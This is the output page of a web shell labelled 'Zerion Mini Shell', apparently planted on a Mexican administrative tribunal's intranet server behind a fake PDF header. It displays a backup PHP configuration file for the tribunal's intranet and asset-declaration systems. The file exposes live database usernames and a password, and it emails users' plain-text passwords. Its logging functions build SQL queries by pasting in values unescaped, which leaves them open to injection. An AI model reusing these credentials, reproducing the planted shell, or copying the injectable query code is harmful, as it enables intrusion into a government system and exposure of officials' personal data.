%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/config/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/config/config_bk2.php

<?php
/*
 Archivo: config.php
 Fecha: 22-10-2015
 Este archivo contiene los parametros generales de configuración del sistema INNOVA.
*/

 define('DIR','http://127.0.0.1:8888/intranet/intranet/');

	class Constantes {
		/*const HOST = "localhost";
		const USER = "tjamichg_declara";
		const PASSWORD = "8HY#c@3ekr";
		const DB = "tjamichg_declaraciones";*/
		const HOST = "localhost";
		const USER = "tjamichg_uintra";
		const PASSWORD = "8HY#c@3ekr";
		const DB = "tjamichg_intranet";
	}
	
	
	class Configuracion extends Constantes{

		public $mysql = NULL;	

		public function conectarBD($bd = Constantes::DB)
		{
			date_default_timezone_set("America/Mexico_City");
			$this->mysql = new mysqli(Constantes::HOST, Constantes::USER, Constantes::PASSWORD, $bd);	
			mysqli_set_charset($this->mysql, "utf8");	
			return $this->mysql;

		}

		
		public function consulta($query)
		{			
			$i = 0;
			$contenedor = array();	
			$result = mysqli_query($this->mysql, $query) or die("Error en la consulta: $query ".mysqli_error());
			
			while($row = mysqli_fetch_array($result,MYSQLI_ASSOC))
			{
				$contenedor[$i] = $row;
				$i++;
			}
			
			return $contenedor;
		}

		public function actualizacion($query)
		{
			mysqli_query($this->mysql, $query) or die("Error en la consulta: $query ".mysqli_error());
		}


        // Regresa el último valor insertado
        public function insertRegLID($query)
		{
		    
            
		    $last_id=0;
            

            if (mysqli_query($this->mysql, $query)) {
                
                    $last_id = mysqli_insert_id($this->mysql);

            } else {
            echo "Error: " . $query . "<br>" . mysqli_error($this->mysql);
            }

            //echo 'Llega'.$last_id;
			return $last_id;
		}
		   public function ultimo_id($query)
		{
		    
            
		    $last_id=0;
            

            if (mysqli_query($this->mysql, $query)) {
                
                    $last_id = mysqli_insert_id($this->mysql);

            } else {
            echo "Error: " . $query . "<br>" . mysqli_error($this->mysql);
            }

            //echo 'Llega'.$last_id;
			return $last_id;
		}

		public function desconectarDB()
		{
				mysqli_close($this->mysql);
		}

	}
	
	function formatMoney($number, $fractional=true) {
	    if ($fractional) {
	        $number = sprintf('%.2f', $number);
	    }
	    while (true) {
	        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
	        if ($replaced != $number) {
	            $number = $replaced;
	        } else {
	            break;
	        }
	    }
	    return '$'.$number;
	} 
		function formatMoney2($number, $fractional=false) {
	    if ($fractional) {
	        $number = sprintf('%.2f', $number);
	    }
	    while (true) {
	        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
	        if ($replaced != $number) {
	            $number = $replaced;
	        } else {
	            break;
	        }
	    }
	    return $number;
	} 

function formatFecha($fecha) 
{

		$meses = array(" ","Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");
    	return getCadenaIndividual($fecha,'-',1).' de '.$meses[(int)getCadenaIndividual($fecha,'-',2)].' de '.getCadenaIndividual($fecha,'-',3);

} 
function round_up($value, $places) 
{
    $mult = pow(10, abs($places)); 
     return $places < 0 ?
    ceil($value / $mult) * $mult :
        ceil($value * $mult) / $mult;
}


function getCadenaIndividual($cadena,$token,$posicion)
{
	$tk = strtok($cadena, $token);
	$count = 0;
	while ($tk !== false)
	{
		$count++;	
		if($posicion == $count)
		{
				return $tk;
		}
		$tk = strtok($token);
	}
	return '';
}



function enviar_correo_contrasena($nombreC,$correoFrom,$correoTo,$asunto,$mensaje,$adjunto,$rfc,$pass,$pie)
{
	
	require_once('../common/PHPMailer_5.2.4/class.phpmailer.php');

	$mail = new PHPMailer(); 

	$mensaje = 'Datos de acceso al Sistema de Declaraciones Patrimoniales del TJAM <br><br>

        Estimado(a)  C: '.$nombreC.' <br><br>
    El usuario es su RFC: '.$rfc.' y su contraseña es: '.$pass.' <br><br>

    Link de acceso:  https://www.tjamich.gob.mx/declaraciones/
     <br> 	
     <br> ';
	$body  = '<body style="margin: 10px;">
		<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 14px;">'.utf8_decode($mensaje).'<br><br><div align="center">
		<img src="logoTJAM.png" style="height: 140px; width: 140px"></div>
		<br>
		</div>
		</body>';
		
		

	$mail->SetFrom('declaranet@tjamich.gob.mx', 'www.tjamich.gob.mx');

	$address = $correoTo;
	$mail->AddAddress($address, " ");

	$mail->Subject    = utf8_decode("Recuperación de Contraseña del Sistema de Declaraciones Patrimoniales del TJAM");

	$mail->MsgHTML($body);

	$mail->AddAttachment($adjunto);      // attachment

	if(!$mail->Send()) {
	  return false;
	} else {
	  return true;
	}

}
# auxiliar para generar folio
function swapstr($s){    
    $endpos = strlen($s)-1;
    $last     = $s[$endpos];
    $first  = $s[0];
    $s = substr_replace ($s , $last ,0, 1); 
    $s = substr_replace ($s , $first ,$endpos, 1); 
    return strtoupper($s);
}

# coding folio generador
function ofusca_key($n){
    return swapstr(strval(dechex(rand(1000,10000) + $n*$n)));
} 


function enviar_correo_confirmacion($nombreC,$correoFrom,$correoTo,$asunto,$mensaje,$adjunto,$rfc,$pass,$pie)
{

	
	require_once('../common/PHPMailer_5.2.4/class.phpmailer.php');

	$mail = new PHPMailer(); 

	$mensaje = 'Estimado(a)  C: '.$nombreC.' <br><br> 
	
	Bienvenido al Sistema de Declaraciones Patrimoniales del TJAM, su registro fue validado correctamente. <br>
	
	El usuario es su RFC: '.$rfc.' y su contraseña es: '.$pass.' <br>

    Link de acceso al sistema:  https://www.tjamich.gob.mx/declaraciones/';
	$body  = '<body style="margin: 10px;">
		<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 14px;">'.utf8_decode($mensaje).'<br><br><div align="center">
		<img src="logoTJAM.png" style="height: 140px; width: 140px"></div>
		<br>
		</div>
		</body>';
		
		

	$mail->SetFrom('declaranet@tjamich.gob.mx', 'www.tjamich.gob.mx');

	$address = $correoTo;
	$mail->AddAddress($address, " ");

	$mail->Subject    = utf8_decode("Confirmación de Usuario en el Sistema de Declaraciones Patrimoniales del TJAM");

	$mail->MsgHTML($body);

	$mail->AddAttachment($adjunto);      // attachment

	if(!$mail->Send()) {
	  return false;
	} else {
	  return true;
	}

}

function enviar_correo_Registro($nombreC,$correoFrom,$correoTo,$asunto,$mensaje,$adjunto,$rfc,$pass,$pie)
{
	
	require_once('../common/PHPMailer_5.2.4/class.phpmailer.php');

	$mail = new PHPMailer(); 

	$mensaje = 'Estimado(a)  C: '.$nombreC.' <br><br> 
	
	Bienvenido al Sistema de Declaraciones Patrimoniales del TJAM, su registro se encuentra en proceso de validación, una vez que sea aprobado su usuario recibirá un correo de confirmación. <br>';
	$body  = '<body style="margin: 10px;">
		<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 14px;">'.utf8_decode($mensaje).'<br><br><div align="center">
		<img src="../img/logoTJAM.png" style="height: 140px; width: 140px"></div>
		<br>
		</div>
		</body>';
		
		

	$mail->SetFrom('declaranet@tjamich.gob.mx', 'www.tjamich.gob.mx');

	$address = $correoTo;
	$mail->AddAddress($address, " ");

	$mail->Subject    = utf8_decode("Registro de Usuario al Sistema de Declaraciones Patrimoniales del TJAM");

	$mail->MsgHTML($body);

	$mail->AddAttachment($adjunto);      // attachment

	if(!$mail->Send()) {
	  return false;
	} else {
	  return true;
	}

}

function enviar_correo_PreRegistro($nombreC,$correoFrom,$correoTo,$asunto,$mensaje,$adjunto,$rfc,$pass,$pie)
{
	
	require_once('../common/PHPMailer_5.2.4/class.phpmailer.php');
	$activasion = md5(uniqid(rand(),true));
	$mail = new PHPMailer(); 

	$mensaje = 'Datos de acceso al Sistema de Declaraciones Patrimoniales del TJAM <br><br>

        Estimado(a)  C: '.$nombreC.' <br><br>
    El usuario es su RFC: '.$rfc.'<br><br>

    <p>Para activar su cuenta, haga clic en este enlace: <a href="'.DIR.'page_nuevo_registro.php?x='.$rfc.'&y='.$activasion.'">"'.DIR.'"page_nuevo_registro.php?x='.$rfc.'&y='.$activasion.'</a></p>
     <br> 	
     <br> ';
	$body  = '<body style="margin: 10px;">
		<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 14px;">'.utf8_decode($mensaje).'<br><br><div align="center">
		<img src="../common/images/logo-TJAM.png" style="height: 140px; width: 140px"></div>
		<br>
		</div>
		</body>';
		
		

	$mail->SetFrom('trijaem@tjamich.gob.mx', 'www.tjamich.gob.mx');

	$address = $correoTo;
	$mail->AddAddress($address, " ");

	$mail->Subject    = utf8_decode("Confirmacion de registro al Sistema de Declaraciones Patrimoniales del TJAM");

	$mail->MsgHTML($body);

	$mail->AddAttachment($adjunto);      // attachment

	if(!$mail->Send()) {
	  return false;
	} else {
	  return true;

	}

}

/*{
	
	require_once('../common/PHPMailer_5.2.4/class.phpmailer.php');

	$mail = new PHPMailer(); 

	$mensaje = 'Estimado(a)  C: '.$rfc.' <br><br> 
	
	Bienvenido al Sistema de Declaraciones Patrimoniales del TJAM, su registro se encuentra en proceso de validación, una vez que sea aprobado su usuario recibirá un correo de confirmación. <br>';
	$body  = '<body style="margin: 10px;">
		<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 14px;">'.utf8_decode($mensaje).'<br><br><div align="center">
		<img src="../common/images/logo-TJAM.png" style="height: 140px; width: 140px"></div>
		<br>
		</div>
		</body>';
		
		

	$mail->SetFrom('trijaem@tjamich.gob.mx', 'www.tjamich.gob.mx');

	$address = $correoTo;
	$mail->AddAddress($address, " ");

	$mail->Subject    = utf8_decode("Confirmacion de registro al Sistema de Declaraciones Patrimoniales del TJAM");

	$mail->MsgHTML($body);

	$mail->AddAttachment($adjunto);      // attachment

	if(!$mail->Send()) {
	  return false;
	} else {
	  return true;
	}

}*/
		function RegistrarBitacoraDeclaraciones($conf,$usuario,$ip,$accion,$declaracion) 
		{
			$insertar = "INSERT INTO bitacora_sistema_declaraciones (usuario,ip,accion,declaracion) 
						VALUES ('$usuario','$ip','$accion','$declaracion')";
			$conf->actualizacion($insertar);
		} 
		function RegistrarBitacora($conf,$nombre,$ip,$observaciones,$id_usuario) 
		{
			$insertar = "INSERT INTO servicios_bitacora (nombre,ip,observaciones,id_usuario) 
						VALUES ('$nombre','$ip','$observaciones','$id_usuario')";
			$conf->actualizacion($insertar);
		} 


	function url_amigable($url) 
{
 
      // Tranformamos todo a minusculas
 
      $url = strtolower($url);
 
      //Rememplazamos caracteres especiales latinos
 
      $find = array('á', 'é', 'í', 'ó', 'ú', 'ñ');
 
      $repl = array('a', 'e', 'i', 'o', 'u', 'n');
 
      $url = str_replace ($find, $repl, $url);
 
      // Añadimos los guiones
 
      $find = array(' ', '&', '\r\n', '\n', '+');
      $url = str_replace ($find, '-', $url);
 
      // Eliminamos y Reemplazamos otros carácteres especiales
 
      $find = array('/[^a-z0-9\-<>]/', '/[\-]+/', '/<[^>]*>/');
 
      $repl = array('', '-', '');
 
      $url = preg_replace ($find, $repl, $url);
 
      return $url.'-Michoacan';
 
}
?>

Zerion Mini Shell 1.0